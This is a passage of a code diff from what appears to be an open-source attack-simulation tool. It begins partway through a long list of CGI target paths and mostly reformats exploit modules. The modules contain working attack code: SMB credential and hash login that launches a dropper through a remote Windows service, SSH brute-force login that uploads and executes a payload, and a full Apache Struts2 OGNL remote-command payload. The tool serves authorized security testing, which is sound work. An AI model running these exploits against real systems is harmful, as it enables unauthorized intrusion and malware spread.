+ r"/cgi-bin/nlog-smb.cgi",
+ r"/cgi-bin/nph-emumail.cgi",
+ r"/cgi-bin/nph-exploitscanget.cgi",
+ r"/cgi-bin/nph-publish.cgi",
+ r"/cgi-bin/nph-test.cgi",
+ r"/cgi-bin/pagelog.cgi",
+ r"/cgi-bin/pbcgi.cgi",
+ r"/cgi-bin/perlshop.cgi",
+ r"/cgi-bin/pfdispaly.cgi",
+ r"/cgi-bin/pfdisplay.cgi",
+ r"/cgi-bin/phf.cgi",
+ r"/cgi-bin/photo/manage.cgi",
+ r"/cgi-bin/photo/protected/manage.cgi",
+ r"/cgi-bin/php-cgi",
+ r"/cgi-bin/php.cgi",
+ r"/cgi-bin/php.fcgi",
+ r"/cgi-bin/ping.sh",
+ r"/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi",
+ r"/cgi-bin/pollssi.cgi",
+ r"/cgi-bin/postcards.cgi",
+ r"/cgi-bin/powerup/r.cgi",
+ r"/cgi-bin/printenv",
+ r"/cgi-bin/probecontrol.cgi",
+ r"/cgi-bin/profile.cgi",
+ r"/cgi-bin/publisher/search.cgi",
+ r"/cgi-bin/quickstore.cgi",
+ r"/cgi-bin/quizme.cgi",
+ r"/cgi-bin/ratlog.cgi",
+ r"/cgi-bin/r.cgi",
+ r"/cgi-bin/register.cgi",
+ r"/cgi-bin/replicator/webpage.cgi/",
+ r"/cgi-bin/responder.cgi",
+ r"/cgi-bin/robadmin.cgi",
+ r"/cgi-bin/robpoll.cgi",
+ r"/cgi-bin/rtpd.cgi",
+ r"/cgi-bin/sbcgi/sitebuilder.cgi",
+ r"/cgi-bin/scoadminreg.cgi",
+ r"/cgi-bin-sdb/printenv",
+ r"/cgi-bin/sdbsearch.cgi",
+ r"/cgi-bin/search",
+ r"/cgi-bin/search.cgi",
+ r"/cgi-bin/search/search.cgi",
+ r"/cgi-bin/sendform.cgi",
+ r"/cgi-bin/shop.cgi",
+ r"/cgi-bin/shopper.cgi",
+ r"/cgi-bin/shopplus.cgi",
+ r"/cgi-bin/showcheckins.cgi",
+ r"/cgi-bin/simplestguest.cgi",
+ r"/cgi-bin/simplestmail.cgi",
+ r"/cgi-bin/smartsearch.cgi",
+ r"/cgi-bin/smartsearch/smartsearch.cgi",
+ r"/cgi-bin/snorkerz.bat",
+ r"/cgi-bin/snorkerz.bat",
+ r"/cgi-bin/snorkerz.cmd",
+ r"/cgi-bin/snorkerz.cmd",
+ r"/cgi-bin/sojourn.cgi",
+ r"/cgi-bin/spin_client.cgi",
+ r"/cgi-bin/start.cgi",
+ r"/cgi-bin/status",
+ r"/cgi-bin/status_cgi",
+ r"/cgi-bin/store/agora.cgi",
+ r"/cgi-bin/store.cgi",
+ r"/cgi-bin/store/index.cgi",
+ r"/cgi-bin/survey.cgi",
+ r"/cgi-bin/sync.cgi",
+ r"/cgi-bin/talkback.cgi",
+ r"/cgi-bin/technote/main.cgi",
+ r"/cgi-bin/test2.pl",
+ r"/cgi-bin/test-cgi",
+ r"/cgi-bin/test.cgi",
+ r"/cgi-bin/testing_whatever",
+ r"/cgi-bin/test/test.cgi",
+ r"/cgi-bin/tidfinder.cgi",
+ r"/cgi-bin/tigvote.cgi",
+ r"/cgi-bin/title.cgi",
+ r"/cgi-bin/top.cgi",
+ r"/cgi-bin/traffic.cgi",
+ r"/cgi-bin/troops.cgi",
+ r"/cgi-bin/ttawebtop.cgi/",
+ r"/cgi-bin/ultraboard.cgi",
+ r"/cgi-bin/upload.cgi",
+ r"/cgi-bin/urlcount.cgi",
+ r"/cgi-bin/viewcvs.cgi",
+ r"/cgi-bin/view_help.cgi",
+ r"/cgi-bin/viralator.cgi",
+ r"/cgi-bin/virgil.cgi",
+ r"/cgi-bin/vote.cgi",
+ r"/cgi-bin/vpasswd.cgi",
+ r"/cgi-bin/way-board.cgi",
+ r"/cgi-bin/way-board/way-board.cgi",
+ r"/cgi-bin/webbbs.cgi",
+ r"/cgi-bin/webcart/webcart.cgi",
+ r"/cgi-bin/webdist.cgi",
+ r"/cgi-bin/webif.cgi",
+ r"/cgi-bin/webmail/html/emumail.cgi",
+ r"/cgi-bin/webmap.cgi",
+ r"/cgi-bin/webspirs.cgi",
+ r"/cgi-bin/Web_Store/web_store.cgi",
+ r"/cgi-bin/whois.cgi",
+ r"/cgi-bin/whois_raw.cgi",
+ r"/cgi-bin/whois/whois.cgi",
+ r"/cgi-bin/wrap",
+ r"/cgi-bin/wrap.cgi",
+ r"/cgi-bin/wwwboard.cgi.cgi",
+ r"/cgi-bin/YaBB/YaBB.cgi",
+ r"/cgi-bin/zml.cgi",
+ r"/cgi-mod/index.cgi",
+ r"/cgis/wwwboard/wwwboard.cgi",
+ r"/cgi-sys/addalink.cgi",
+ r"/cgi-sys/defaultwebpage.cgi",
+ r"/cgi-sys/domainredirect.cgi",
+ r"/cgi-sys/entropybanner.cgi",
+ r"/cgi-sys/entropysearch.cgi",
+ r"/cgi-sys/FormMail-clone.cgi",
+ r"/cgi-sys/helpdesk.cgi",
+ r"/cgi-sys/mchat.cgi",
+ r"/cgi-sys/randhtml.cgi",
+ r"/cgi-sys/realhelpdesk.cgi",
+ r"/cgi-sys/realsignup.cgi",
+ r"/cgi-sys/signup.cgi",
+ r"/connector.cgi",
+ r"/cp/rac/nsManager.cgi",
+ r"/create_release.sh",
+ r"/CSNews.cgi",
+ r"/csPassword.cgi",
+ r"/dcadmin.cgi",
+ r"/dcboard.cgi",
+ r"/dcforum.cgi",
+ r"/dcforum/dcforum.cgi",
+ r"/debuff.cgi",
+ r"/debug.cgi",
+ r"/details.cgi",
+ r"/edittag/edittag.cgi",
+ r"/emumail.cgi",
+ r"/enter_buff.cgi",
+ r"/enter_bug.cgi",
+ r"/ez2000/ezadmin.cgi",
+ r"/ez2000/ezboard.cgi",
+ r"/ez2000/ezman.cgi",
+ r"/fcgi-bin/echo",
+ r"/fcgi-bin/echo",
+ r"/fcgi-bin/echo2",
+ r"/fcgi-bin/echo2",
+ r"/Gozila.cgi",
+ r"/hitmatic/analyse.cgi",
+ r"/hp_docs/cgi-bin/index.cgi",
+ r"/html/cgi-bin/cgicso",
+ r"/html/cgi-bin/cgicso",
+ r"/index.cgi",
+ r"/info.cgi",
+ r"/infosrch.cgi",
+ r"/login.cgi",
+ r"/mailview.cgi",
+ r"/main.cgi",
+ r"/megabook/admin.cgi",
+ r"/ministats/admin.cgi",
+ r"/mods/apage/apage.cgi",
+ r"/_mt/mt.cgi",
+ r"/musicqueue.cgi",
+ r"/ncbook.cgi",
+ r"/newpro.cgi",
+ r"/newsletter.sh",
+ r"/oem_webstage/cgi-bin/oemapp_cgi",
+ r"/page.cgi",
+ r"/parse_xml.cgi",
+ r"/photodata/manage.cgi",
+ r"/photo/manage.cgi",
+ r"/print.cgi",
+ r"/process_buff.cgi",
+ r"/process_bug.cgi",
+ r"/pub/english.cgi",
+ r"/quikmail/nph-emumail.cgi",
+ r"/quikstore.cgi",
+ r"/reviews/newpro.cgi",
+ r"/ROADS/cgi-bin/search.pl",
+ r"/sample01.cgi",
+ r"/sample02.cgi",
+ r"/sample03.cgi",
+ r"/sample04.cgi",
+ r"/sampleposteddata.cgi",
+ r"/scancfg.cgi",
+ r"/scancfg.cgi",
+ r"/servers/link.cgi",
+ r"/setpasswd.cgi",
+ r"/SetSecurity.shm",
+ r"/shop/member_html.cgi",
+ r"/shop/normal_html.cgi",
+ r"/site_searcher.cgi",
+ r"/siteUserMod.cgi",
+ r"/submit.cgi",
+ r"/technote/print.cgi",
+ r"/template.cgi",
+ r"/test.cgi",
+ r"/ucsm/isSamInstalled.cgi",
+ r"/upload.cgi",
+ r"/userreg.cgi",
+ r"/users/scripts/submit.cgi",
+ r"/vood/cgi-bin/vood_view.cgi",
+ r"/Web_Store/web_store.cgi",
+ r"/webtools/bonsai/ccvsblame.cgi",
+ r"/webtools/bonsai/cvsblame.cgi",
+ r"/webtools/bonsai/cvslog.cgi",
+ r"/webtools/bonsai/cvsquery.cgi",
+ r"/webtools/bonsai/cvsqueryform.cgi",
+ r"/webtools/bonsai/showcheckins.cgi",
+ r"/wwwadmin.cgi",
+ r"/wwwboard.cgi",
+ r"/wwwboard/wwwboard.cgi",
)
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index a9776136b..189bc51ad 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -5,23 +5,24 @@ from impacket.dcerpc.v5 import scmr, transport
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.exploit.tools.smb_tools import SmbTools
-from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS, VictimHost
+from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network.smbfinger import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
- _TARGET_OS_TYPE = ['windows']
+ _TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
- _EXPLOITED_SERVICE = 'SMB'
+ _EXPLOITED_SERVICE = "SMB"
KNOWN_PROTOCOLS = {
- '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
- '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
+ "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139),
+ "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
}
USE_KERBEROS = False
@@ -33,7 +34,7 @@ class SmbExploiter(HostExploiter):
if super(SmbExploiter, self).is_os_supported():
return True
- if not self.host.os.get('type'):
+ if not self.host.os.get("type"):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@@ -41,8 +42,8 @@ class SmbExploiter(HostExploiter):
else:
is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
if is_nb_open:
- self.host.os['type'] = 'windows'
- return self.host.os.get('type') in self._TARGET_OS_TYPE
+ self.host.os["type"] = "windows"
+ return self.host.os.get("type") in self._TARGET_OS_TYPE
return False
def _exploit_host(self):
@@ -58,25 +59,35 @@ class SmbExploiter(HostExploiter):
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
- remote_full_path = SmbTools.copy_file(self.host,
- src_path,
- self._config.dropper_target_path_win_32,
- user,
- password,
- lm_hash,
- ntlm_hash,
- self._config.smb_download_timeout)
+ remote_full_path = SmbTools.copy_file(
+ self.host,
+ src_path,
+ self._config.dropper_target_path_win_32,
+ user,
+ password,
+ lm_hash,
+ ntlm_hash,
+ self._config.smb_download_timeout,
+ )
if remote_full_path is not None:
- LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)",
- self.host,
- user,
- self._config.hash_sensitive_data(password),
- self._config.hash_sensitive_data(lm_hash),
- self._config.hash_sensitive_data(ntlm_hash))
+ LOG.debug(
+ "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
+ "%s : (SHA-512) %s)",
+ self.host,
+ user,
+ self._config.hash_sensitive_data(password),
+ self._config.hash_sensitive_data(lm_hash),
+ self._config.hash_sensitive_data(ntlm_hash),
+ )
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
- self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
- SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
+ self.add_vuln_port(
+ "%s or %s"
+ % (
+ SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
+ SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
+ )
+ )
exploited = True
break
else:
@@ -86,13 +97,15 @@ class SmbExploiter(HostExploiter):
except Exception as exc:
LOG.debug(
"Exception when trying to copy file using SMB to %r with user:"
- " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)",
+ " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
+ "SHA-512): %s: (%s)",
self.host,
user,
self._config.hash_sensitive_data(password),
self._config.hash_sensitive_data(lm_hash),
self._config.hash_sensitive_data(ntlm_hash),
- exc)
+ exc,
+ )
continue
if not exploited:
@@ -102,24 +115,29 @@ class SmbExploiter(HostExploiter):
self.set_vulnerable_port()
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
- cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
- build_monkey_commandline(self.host, get_monkey_depth() - 1,
- self.vulnerable_port,
- self._config.dropper_target_path_win_32)
+ cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
+ "dropper_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host,
+ get_monkey_depth() - 1,
+ self.vulnerable_port,
+ self._config.dropper_target_path_win_32,
+ )
else:
- cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
- build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- vulnerable_port=self.vulnerable_port)
+ cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
+ "monkey_path": remote_full_path
+ } + build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
+ )
smb_conn = False
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
rpctransport.setRemoteHost(self.host.ip_addr)
- if hasattr(rpctransport, 'set_credentials'):
+ if hasattr(rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
- rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
+ rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
@@ -127,7 +145,12 @@ class SmbExploiter(HostExploiter):
try:
scmr_rpc.connect()
except Exception as exc:
- LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc)
+ LOG.debug(
+ "Can't connect to SCM on exploited machine %r port %s : %s",
+ self.host,
+ port,
+ exc,
+ )
continue
smb_conn = rpctransport.get_smb_connection()
@@ -139,33 +162,47 @@ class SmbExploiter(HostExploiter):
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
- sc_handle = resp['lpScHandle']
+ sc_handle = resp["lpScHandle"]
# start the monkey using the SCM
- resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
- lpBinaryPathName=cmdline)
- service = resp['lpServiceHandle']
+ resp = scmr.hRCreateServiceW(
+ scmr_rpc,
+ sc_handle,
+ self._config.smb_service_name,
+ self._config.smb_service_name,
+ lpBinaryPathName=cmdline,
+ )
+ service = resp["lpServiceHandle"]
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
- except:
+ except Exception:
status = ScanStatus.SCANNED
pass
T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- remote_full_path, self.host, cmdline)
+ LOG.info(
+ "Executed monkey '%s' on remote victim %r (cmdline=%r)",
+ remote_full_path,
+ self.host,
+ cmdline,
+ )
- self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
- SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
+ self.add_vuln_port(
+ "%s or %s"
+ % (
+ SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
+ SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
+ )
+ )
return True
def set_vulnerable_port(self):
- if 'tcp-445' in self.host.services:
+ if "tcp-445" in self.host.services:
self.vulnerable_port = "445"
- elif 'tcp-139' in self.host.services:
+ elif "tcp-139" in self.host.services:
self.vulnerable_port = "139"
else:
self.vulnerable_port = None
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index b96a6c2b6..cf3a71986 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -9,13 +9,12 @@ from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
-from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey
+from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
-
-__author__ = 'hoffer'
+from infection_monkey.utils.commands import build_monkey_commandline
LOG = logging.getLogger(__name__)
SSH_PORT = 22
@@ -23,9 +22,9 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
- _TARGET_OS_TYPE = ['linux', None]
+ _TARGET_OS_TYPE = ["linux", None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
- _EXPLOITED_SERVICE = 'SSH'
+ _EXPLOITED_SERVICE = "SSH"
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
@@ -42,29 +41,27 @@ class SSHExploiter(HostExploiter):
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
- pkey = io.StringIO(ssh_key_pair['private_key'])
- ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
+ pkey = io.StringIO(ssh_key_pair["private_key"])
+ ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
- except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
+ except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
LOG.error("Failed reading ssh key")
try:
- ssh.connect(self.host.ip_addr,
- username=user,
- pkey=pkey,
- port=port)
- LOG.debug("Successfully logged in %s using %s users private key",
- self.host, ssh_string)
+ ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
+ LOG.debug(
+ "Successfully logged in %s using %s users private key", self.host, ssh_string
+ )
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except Exception:
ssh.close()
- LOG.debug("Error logging into victim %r with %s"
- " private key", self.host,
- ssh_string)
+ LOG.debug(
+ "Error logging into victim %r with %s" " private key", self.host, ssh_string
+ )
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
raise FailedExploitationError
@@ -77,21 +74,27 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
- ssh.connect(self.host.ip_addr,
- username=user,
- password=current_password,
- port=port)
+ ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
- LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
- self.host, user, self._config.hash_sensitive_data(current_password))
+ LOG.debug(
+ "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
+ self.host,
+ user,
+ self._config.hash_sensitive_data(current_password),
+ )
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
return ssh
except Exception as exc:
- LOG.debug("Error logging into victim %r with user"
- " %s and password (SHA-512) '%s': (%s)", self.host,
- user, self._config.hash_sensitive_data(current_password), exc)
+ LOG.debug(
+ "Error logging into victim %r with user"
+ " %s and password (SHA-512) '%s': (%s)",
+ self.host,
+ user,
+ self._config.hash_sensitive_data(current_password),
+ exc,
+ )
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
@@ -102,8 +105,8 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
- if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
- port = int(servkey.replace('tcp-', ''))
+ if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
+ port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
@@ -119,12 +122,12 @@ class SSHExploiter(HostExploiter):
LOG.debug("Exploiter SSHExploiter is giving up...")
return False
- if not self.host.os.get('type'):
+ if not self.host.os.get("type"):
try:
- _, stdout, _ = ssh.exec_command('uname -o')
+ _, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode()
- if 'linux' in uname_os:
- self.host.os['type'] = 'linux'
+ if "linux" in uname_os:
+ self.host.os["type"] = "linux"
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
@@ -132,21 +135,26 @@ class SSHExploiter(HostExploiter):
LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
return False
- if not self.host.os.get('machine'):
+ if not self.host.os.get("machine"):
try:
- _, stdout, _ = ssh.exec_command('uname -m')
+ _, stdout, _ = ssh.exec_command("uname -m")
uname_machine = stdout.read().lower().strip().decode()
- if '' != uname_machine:
- self.host.os['machine'] = uname_machine
+ if "" != uname_machine:
+ self.host.os["machine"] = uname_machine
except Exception as exc:
LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc)
if self.skip_exist:
- _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
+ _, stdout, stderr = ssh.exec_command(
+ "head -c 1 %s" % self._config.dropper_target_path_linux
+ )
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
- LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+ LOG.info(
+ "Host %s was already infected under the current configuration, "
+ "done" % self.host
+ )
return True # return already infected
src_path = get_target_monkey(self.host)
@@ -160,33 +168,44 @@ class SSHExploiter(HostExploiter):
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
- ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
- callback=self.log_transfer)
+ ftp.putfo(
+ file_obj,
+ self._config.dropper_target_path_linux,
+ file_size=monkeyfs.getsize(src_path),
+ callback=self.log_transfer,
+ )
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
- T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
+ T1222Telem(
+ ScanStatus.USED,
+ "chmod 0777 %s" % self._config.dropper_target_path_linux,
+ self.host,
+ ).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
- T1105Telem(status,
- get_interface_to_target(self.host.ip_addr),
- self.host.ip_addr,
- src_path).send()
+ T1105Telem(
+ status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
+ ).send()
if status == ScanStatus.SCANNED:
return False
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
- cmdline += build_monkey_commandline(self.host,
- get_monkey_depth() - 1,
- vulnerable_port=SSH_PORT)
+ cmdline += build_monkey_commandline(
+ self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
+ )
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
- LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
- self._config.dropper_target_path_linux, self.host, cmdline)
+ LOG.info(
+ "Executed monkey '%s' on remote victim %r (cmdline=%r)",
+ self._config.dropper_target_path_linux,
+ self.host,
+ cmdline,
+ )
ssh.close()
self.add_executed_cmd(cmdline)
diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py
index 9aba749a7..d798960bf 100644
--- a/monkey/infection_monkey/exploit/struts2.py
+++ b/monkey/infection_monkey/exploit/struts2.py
@@ -13,29 +13,28 @@ import urllib.request
from infection_monkey.exploit.web_rce import WebRCE
-__author__ = "VakarisZ"
-
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
- _TARGET_OS_TYPE = ['linux', 'windows']
- _EXPLOITED_SERVICE = 'Struts2'
+ _TARGET_OS_TYPE = ["linux", "windows"]
+ _EXPLOITED_SERVICE = "Struts2"
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)
def get_exploit_config(self):
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
- exploit_config['dropper'] = True
+ exploit_config["dropper"] = True
return exploit_config
def build_potential_urls(self, ports, extensions=None):
"""
We need to override this method to get redirected url's
- :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
+ :param ports: Array of ports. One port is described as size 2 array: [port.no(int),
+ isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
@@ -47,10 +46,12 @@ class Struts2Exploiter(WebRCE):
@staticmethod
def get_redirected(url):
# Returns false if url is not right
- headers = {'User-Agent': 'Mozilla/5.0'}
+ headers = {"User-Agent": "Mozilla/5.0"}
request = urllib.request.Request(url, headers=headers)
try:
- return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl()
+ return urllib.request.urlopen(
+ request, context=ssl._create_unverified_context() # noqa: DUO122
+ ).geturl()
except urllib.error.URLError:
LOG.error("Can't reach struts2 server")
return False
@@ -63,24 +64,26 @@ class Struts2Exploiter(WebRCE):
"""
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
- payload = "%%{(#_='multipart/form-data')." \
- "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
- "(#_memberAccess?" \
- "(#_memberAccess=#dm):" \
- "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
- "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
- "(#ognlUtil.getExcludedPackageNames().clear())." \
- "(#ognlUtil.getExcludedClasses().clear())." \
- "(#context.setMemberAccess(#dm))))." \
- "(#cmd='%s')." \
- "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
- "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
- "(#p=new java.lang.ProcessBuilder(#cmds))." \
- "(#p.redirectErrorStream(true)).(#process=#p.start())." \
- "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
- "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
- "(#ros.flush())}" % cmd
- headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
+ payload = (
+ "%%{(#_='multipart/form-data')."
+ "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
+ "(#_memberAccess?"
+ "(#_memberAccess=#dm):"
+ "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
+ "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
+ "(#ognlUtil.getExcludedPackageNames().clear())."
+ "(#ognlUtil.getExcludedClasses().clear())."
+ "(#context.setMemberAccess(#dm))))."
+ "(#cmd='%s')."
+ "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
+ "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
+ "(#p=new java.lang.ProcessBuilder(#cmds))."
+ "(#p.redirectErrorStream(true)).(#process=#p.start())."
+ "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
+ "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
+ "(#ros.flush())}" % cmd
+ )
+ headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload}
try:
request = urllib.request.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index 901202d2d..f7f6eadb8 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -19,19 +19,21 @@ def get_target_monkey(host):
if host.monkey_exe:
return host.monkey_exe
- if not host.os.get('type'):
+ if not host.os.get("type"):
return None
monkey_path = ControlClient.download_monkey_exe(host)
- if host.os.get('machine') and monkey_path:
+ if host.os.get("machine") and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
- if host.os.get('type') == platform.system().lower():
- # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
- if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
- host.os.get('machine', '').lower() == platform.machine().lower():
+ if host.os.get("type") == platform.system().lower():
+ # if exe not found, and we have the same arch or arch is unknown and we are 32bit,
+ # use our exe
+ if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
+ "machine", ""
+ ).lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
